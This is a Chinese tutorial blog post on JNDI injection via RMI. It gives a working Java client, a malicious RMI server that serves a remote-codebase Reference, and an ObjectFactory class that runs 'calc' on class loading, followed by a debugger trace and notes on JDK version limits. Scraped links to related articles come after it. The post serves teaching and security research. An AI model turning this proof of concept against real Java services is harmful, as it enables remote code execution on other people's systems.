JNDI注入基础
JNDI注入基础
一、简介
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
这些命名/目录服务提供者:
- RMI (JAVA远程方法调用)
- LDAP (轻量级目录访问协议)
- CORBA (公共对象请求代理体系结构)
- DNS (域名服务)
二、利用方式
在JNDI中有几种利用方式,这节就来讲一下RMI的利用方式
1.RMI的利用方式
客户端:
package com.yy.JNDI;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
服务端:
package com.yy.JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
}
}
被远程调用的恶意类:
import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public Calc() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
return null;
}
}
这里会执行四次,弹出四个计算器
debug断点打在客户端lookup处:
跟进javax.naming.InitialContext#getURLOrDefaultInitCtx
先进入getURLOrDefaultInitCtx方法
在第347行返回了rmiURLContext对象
回到前面getURLOrDefaultInitCtx处,又调用lookup方法,就会调用其rmiURLContext父类的lookup
4)在lookup中,查看getRootURLContext
getRootURLContext其实是一个接口,根据不同的协议来调用对应类的getRootURLContext方法
5)回到lookup,继续跟进
跟进到RegistryContext#lookup中
这里会去RMI注册中心寻找hello对象,接着看下当前类的decodeObject
方法
这里的ReferenceWrapper_stub对象实现了RemoteReference接口
调用ReferenceWrapper_stub#getReference方法返回的是一个Reference对象
所以前面的var3获取到的是一个Reference对象
继续跟进到getObjectInstance
跟进NamingManager#getObjectInstance,在NamingManager#getObjectInstance中,319行调用了getObjectFactoryFromReference
NamingManager#getObjectFactoryFromReference
146行先尝试从本地CLASSPATH加载该class,再到158行根据factoryName和codebase加载远程的class,跟进看下158行loadClass方法的实现
VersionHelper12#loadClass
这里用了URLClassLoader去加载远程类
跟进loadClass
执行完Class.forName就会加载这个类,从而执行到static方法
由于类的加载执行了static方法,服务器日志出现了一条调用记录
并且弹出了计算器
回到NamingManager#getObjectFactoryFromReference中,继续执行了 clas.newInstance
这里执行完就会调用代码块和无参构造方法,弹出两个计算器
再往下会执行到321行,调用getObjectInstance
方法
此时会执行恶意类Calc中的getObjectInstance方法,弹出最后一个计算器。
2.RMI的利用版本限制
从jdk8u121
7u131
6u141
版本开始
com.sun.jndi.rmi.object.trustURLCodebase
、
com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false
即默认不允许从远程的Codebase加载Reference工厂类
所以切换8u121版本,运行会报错(其实这里的8u121就是网上所说的8u113)
以下是我补充实验中遇到的一些问题:
1.JNDI利用RMI进行攻击,在服务端本地是否需要有恶意类
服务端本地不需要恶意类
2.是服务端的版本有限制还是客户端版本有限制
是客户端有版本限制,需要小于8u121
3.为什么关闭服务器,客户端还可以继续执行payload
客户端优先寻找本地是否有类(注意是类,不是class文件),然后才通过codebase从远程下载类
JNDI注入基础的更多相关文章
- JNDI注入和JNDI注入Bypass
之前分析了fastjson,jackson,都依赖于JDNI注入,即LDAP/RMI等伪协议 JNDI RMI基础和fastjson低版本的分析:https://www.cnblogs.com/pia ...
- Sql注入基础原理介绍
说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...
- JNDI注入与反序列化学习总结
0x01.java RMI RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定 ...
- 浅析JNDI注入Bypass
之前在Veracode的这篇博客中https://www.veracode.com/blog/research/exploiting-jndi-injections-java看到对于JDK 1.8.0 ...
- Java安全之JNDI注入
Java安全之JNDI注入 文章首发:Java安全之JNDI注入 0x00 前言 续上篇文内容,接着来学习JNDI注入相关知识.JNDI注入是Fastjson反序列化漏洞中的攻击手法之一. 0x01 ...
- Weblogic漏洞分析之JNDI注入-CVE-2020-14645
Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9. ...
- Java之JNDI注入
Java之JNDI注入 About JNDI 0x01 简介 JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JND ...
- Java反序列化中jndi注入的高版本jdk绕过
群里大佬们打哈哈的内容,菜鸡拿出来整理学习一下,炒点冷饭. 主要包含以下三个部分: jndi注入原理 jndi注入与反序列化 jndi注入与jdk版本 jndi注入原理: JNDI(Java Name ...
- Java Web系列:Spring依赖注入基础
一.Spring简介 1.Spring简化Java开发 Spring Framework是一个应用框架,框架一般是半成品,我们在框架的基础上可以不用每个项目自己实现架构.基础设施和常用功能性组件,而是 ...
随机推荐
- Android:Android Studio导入OpenCV(Android项目)
在使用OpenCV之前,Android必须先下载ndk,因为OpenCV使用了native代码,这里建议Android Studio创建C++项目来写OpenCV的内容 1.首先在官网下载OpenCV ...
- 812考试总结(NOIP模拟37)[数列·数对·最小距离·真相]
前言 考得挺憋屈的... 先是搞了两个半小时的 T1 后来发现假了,又没多想跳了.. 然后一看 T2 这不是队长快跑嘛... 先是根据自己的想法打了一遍(考完之后发现是对的..) 然后回想了一下之前的 ...
- IP地址,InetAddress类的使用
IP地址 IP地址:InetAddress(没有构造器,通过静态方法返回) java.net包下 唯一定位一台网络上的计算机 127.0.0.1:本机localhost ip地址的分类 IPV4/IP ...
- 一看就会的高效Discuz初始化入门安装方法
在使用Discuz搭建论坛的过程中,小九发现有许多朋友对于宝塔的安装和初始化不太熟悉,找不到适合的方法.或是按照一些教程安装却出现问题得不到解决,只能选择重新再来. 今天,小九给大家介绍简单的镜像一键 ...
- noip21
所以分差到底要不要取绝对值啊 T1 3分钟出暴力,十分钟码好,然后样例过不去... 好吧,我是sb,求中位数之前是要排序的. 直接冲暴力,50pts. \(w=3\) 的点,开个桶记录一下又有20pt ...
- sentinel使用(结合gateway)
前 如果你想在Spring Cloud Gateway中使用Sentinel Starter,你需要添加Spring - Cloud -alibaba- Sentinel - Gateway依赖,并添 ...
- 如何使用Git建立本地仓库并上传代码到GitHub
使用Git建立本地仓库并上传代码到GitHub 工具/原料 电脑安装git客户端.注册github账号并登陆 方法/步骤 到本地项目文件夹右键选择git bash here 输入个人信 ...
- servlet中servletContext的五大作用(一)
获取web的上下文路径 获取全局的参数 作为域对象使用 请求转发 读取web项目的资源文件 package day10.about_servletcontext.get_path; /** * 首先区 ...
- transient用法
1 import java.io.FileInputStream; 2 import java.io.FileNotFoundException; 3 import java.io.FileOutpu ...
- 回顾games101中的SSAA和MSAA
回顾games101中的AA(抗锯齿) 前言 善于进行课后总结,可以更加巩固自己的知识和具体细节 锯齿(走样)产生的原因 本质上,在光栅化阶段中,用有限离散的数据想表示连续的(类似三角形的某一边),就 ...